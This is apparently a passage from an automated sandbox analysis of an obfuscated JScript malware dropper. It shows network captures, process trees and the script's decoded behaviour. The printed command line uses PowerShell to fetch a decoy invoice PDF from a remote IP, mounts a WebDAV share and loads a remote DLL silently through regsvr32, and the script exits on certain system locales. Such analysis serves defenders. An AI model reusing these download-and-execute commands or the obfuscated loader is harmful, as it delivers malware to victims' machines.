Jan 11, 2025 06:03:10.547470093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.547482967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.547501087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.547507048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.547535896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.547600031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.547610998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.547625065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.547631979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.547637939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.547646046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.547647953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.547658920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.547671080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.547689915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.595876932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.609276056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:11.484500885 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:11.489335060 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:11.489422083 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:11.490151882 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:11.495759010 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:12.322565079 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:12.377116919 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:12.433512926 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:04:54.864521027 CET	50580	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:04:54.869476080 CET	53	50580	1.1.1.1	192.168.2.4
Jan 11, 2025 06:04:54.869574070 CET	50580	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:04:54.869620085 CET	50580	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:04:54.874418974 CET	53	50580	1.1.1.1	192.168.2.4
Jan 11, 2025 06:04:55.333116055 CET	53	50580	1.1.1.1	192.168.2.4
Jan 11, 2025 06:04:55.339988947 CET	50580	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:04:55.345097065 CET	53	50580	1.1.1.1	192.168.2.4
Jan 11, 2025 06:04:55.347635031 CET	50580	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:03:24.417908907 CET	60259	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:04:54.863864899 CET	53	65429	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:03:24.417908907 CET	192.168.2.4	1.1.1.1	0xfc81	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:03:22.695720911 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:03:22.695720911 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:03:22.695720911 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:03:22.695720911 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:03:22.695720911 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:03:22.695720911 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:03:22.695720911 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:03:22.695720911 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:03:22.695720911 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:03:24.425041914 CET	1.1.1.1	192.168.2.4	0xfc81	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	3632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:03:08.979819059 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:03:09.770987034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:03:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:03:09.771059036 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:03:09.771111965 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 06:03:09.771146059 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 06:03:09.771181107 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 06:03:09.771214962 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:03:09.771248102 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 11, 2025 06:03:09.771279097 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 06:03:09.771333933 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 06:03:09.771384954 CET	448	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 06:03:09.776329994 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	5000	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:03:11.490151882 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:03:12.322565079 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:03:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:03:05
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js"
Imagebase:	0x7ff68c360000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:03:05
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll
Imagebase:	0x7ff6a6090000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:03:05
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:03:05
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:03:10
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	00:03:10
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6a6090000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:03:10
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff695b40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:03:11
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:03:11
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:03:12
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2348 --field-trial-handle=1528,i,17082125042189187167,13737739473756147948,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lqmvksqzv() {	lqmvksqzv() ➔ undefined
1	jtwjwpdzc = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var daagd = this[xmiedn + qdmhku + tesztqzv + crlualu + gdnjdvcvb + rxzlivty + lpmqr + bksihitz] ( this[hwfbbnif + oiuobfarx + mdrwsdys + tesztqzv + zitgshca + xmiedn + bksihitz][yxdssps + tesztqzv + gdnjdvcvb + qdmhku + bksihitz + gdnjdvcvb + eueqcxh + ezhcn + kgpendas + gdnjdvcvb + mdrwsdys + bksihitz] ( hwfbbnif + oiuobfarx + mdrwsdys + tesztqzv + zitgshca + xmiedn + bksihitz + iaolvz + oiuobfarx + fvdqfe + gdnjdvcvb + xtliarw + xtliarw ) [oocvpa + gdnjdvcvb + rgvsuekx + oocvpa + gdnjdvcvb + qdmhku + pwyzyyd] ( tzktxj + niuac + dfdtfoxu + djmldzozo + dbxhl + yxdssps + qkuqr + oocvpa + oocvpa + dfdtfoxu + apmjzf + bmvooxhew + dbxhl + qkuqr + oiuobfarx + dfdtfoxu + oocvpa + wkdnzyeq + yxdssps + xjxnzt + lpmqr + bksihitz + tesztqzv + xjxnzt + xtliarw + jxotgzd + josbbn + qdmhku + lpmqr + gdnjdvcvb + xtliarw + wkdnzyeq + rxzlivty + lpmqr + bksihitz + gdnjdvcvb + tesztqzv + lpmqr + qdmhku + bksihitz + zitgshca + xjxnzt + lpmqr + qdmhku + xtliarw + wkdnzyeq + jcjgl + xjxnzt + mdrwsdys + qdmhku + xtliarw + gdnjdvcvb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( mkzwka = 0 ; mkzwka < jtwjwpdzc[xtliarw + gdnjdvcvb + lpmqr + rgvsuekx + bksihitz + fvdqfe] ; ++ mkzwka )
4	{
5	if ( daagd == jtwjwpdzc[mkzwka] )
6	{
7	daagd = true;
8	break ;
9	}
10	}
11	if ( daagd !== true )
12	this[hwfbbnif + oiuobfarx + mdrwsdys + tesztqzv + zitgshca + xmiedn + bksihitz][maeexqapb + tethao + zitgshca + bksihitz] ( );
13	this[hwfbbnif + oiuobfarx + mdrwsdys + tesztqzv + zitgshca + xmiedn + bksihitz][yxdssps + tesztqzv + gdnjdvcvb + qdmhku + bksihitz + gdnjdvcvb + eueqcxh + ezhcn + kgpendas + gdnjdvcvb + mdrwsdys + bksihitz] ( hwfbbnif + oiuobfarx + mdrwsdys + tesztqzv + zitgshca + xmiedn + bksihitz + iaolvz + oiuobfarx + fvdqfe + gdnjdvcvb + xtliarw + xtliarw ) [tesztqzv + tethao + lpmqr] ( mdrwsdys + jtnagcyuo + pwyzyyd + jxotgzd + zvfdxwcp + mdrwsdys + jxotgzd + xmiedn + xjxnzt + ztuydmzq + gdnjdvcvb + tesztqzv + crlualu + fvdqfe + gdnjdvcvb + xtliarw + xtliarw + iaolvz + gdnjdvcvb + nulklca + gdnjdvcvb + jxotgzd + wunhxhyi + yxdssps + xjxnzt + jtnagcyuo + jtnagcyuo + qdmhku + lpmqr + pwyzyyd + jxotgzd + wygpkbuzm + rxzlivty + lpmqr + qymbuaf + xjxnzt + pupgwcz + gdnjdvcvb + wunhxhyi + hwfbbnif + gdnjdvcvb + ezhcn + oocvpa + gdnjdvcvb + snnettytx + tethao + gdnjdvcvb + crlualu + bksihitz + jxotgzd + wunhxhyi + eueqcxh + tethao + bksihitz + wwmwu + zitgshca + xtliarw + gdnjdvcvb + jxotgzd + kptnzz + bksihitz + gdnjdvcvb + jtnagcyuo + xmiedn + kptnzz + wkdnzyeq + zitgshca + lpmqr + qymbuaf + xjxnzt + zitgshca + mdrwsdys + gdnjdvcvb + iaolvz + xmiedn + pwyzyyd + voijb + jxotgzd + fvdqfe + bksihitz + bksihitz + xmiedn + rvzcwzapj + zvfdxwcp + zvfdxwcp + jabsfz + zpxmxg + pniwn + iaolvz + jabsfz + whmitubgl + pniwn + iaolvz + jabsfz + iaolvz + guyhet + fldxtg + nclzo + zvfdxwcp + zitgshca + lpmqr + qymbuaf + xjxnzt + zitgshca + mdrwsdys + gdnjdvcvb + iaolvz + xmiedn + fvdqfe + xmiedn + wygpkbuzm + chmwhrge + chmwhrge + crlualu + bksihitz + qdmhku + tesztqzv + bksihitz + jxotgzd + kptnzz + bksihitz + gdnjdvcvb + jtnagcyuo + xmiedn + kptnzz + wkdnzyeq + zitgshca + lpmqr + qymbuaf + xjxnzt + zitgshca + mdrwsdys + gdnjdvcvb + iaolvz + xmiedn + pwyzyyd + voijb + chmwhrge + chmwhrge + mdrwsdys + jtnagcyuo + pwyzyyd + jxotgzd + zvfdxwcp + mdrwsdys + jxotgzd + lpmqr + gdnjdvcvb + bksihitz + jxotgzd + tethao + crlualu + gdnjdvcvb + jxotgzd + wkdnzyeq + wkdnzyeq + jabsfz + zpxmxg + pniwn + iaolvz + jabsfz + whmitubgl + pniwn + iaolvz + jabsfz + iaolvz + guyhet + fldxtg + nclzo + ympqgz + fgomrwkp + fgomrwkp + fgomrwkp + fgomrwkp + wkdnzyeq + pwyzyyd + qdmhku + qymbuaf + ztuydmzq + ztuydmzq + ztuydmzq + tesztqzv + xjxnzt + xjxnzt + bksihitz + wkdnzyeq + chmwhrge + chmwhrge + mdrwsdys + jtnagcyuo + pwyzyyd + jxotgzd + zvfdxwcp + mdrwsdys + jxotgzd + tesztqzv + gdnjdvcvb + rgvsuekx + crlualu + qymbuaf + tesztqzv + pniwn + guyhet + jxotgzd + zvfdxwcp + crlualu + jxotgzd + wkdnzyeq + wkdnzyeq + jabsfz + zpxmxg + pniwn + iaolvz + jabsfz + whmitubgl + pniwn + iaolvz + jabsfz + iaolvz + guyhet + fldxtg + nclzo + ympqgz + fgomrwkp + fgomrwkp + fgomrwkp + fgomrwkp + wkdnzyeq + pwyzyyd + qdmhku + qymbuaf + ztuydmzq + ztuydmzq + ztuydmzq + tesztqzv + xjxnzt + xjxnzt + bksihitz + wkdnzyeq + fgomrwkp + fldxtg + wswynrrtn + nclzo + zpxmxg + zpxmxg + nclzo + nclzo + guyhet + fldxtg + jabsfz + zpxmxg + iaolvz + pwyzyyd + xtliarw + xtliarw, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll",0,false) ➔ 0
14	}
15	snnettytx = "a";
16	snnettytx = "t";
17	snnettytx = "z";
18	snnettytx = "V";
19	snnettytx = "J";
20	snnettytx = "s";
21	snnettytx = "L";
22	snnettytx = "g";
23	snnettytx = "s";
24	snnettytx = "b";
25	snnettytx = "g";
26	snnettytx = "M";
27	snnettytx = "q";
28	crlualu = "E";
29	crlualu = "Z";
30	crlualu = "S";
31	crlualu = "D";
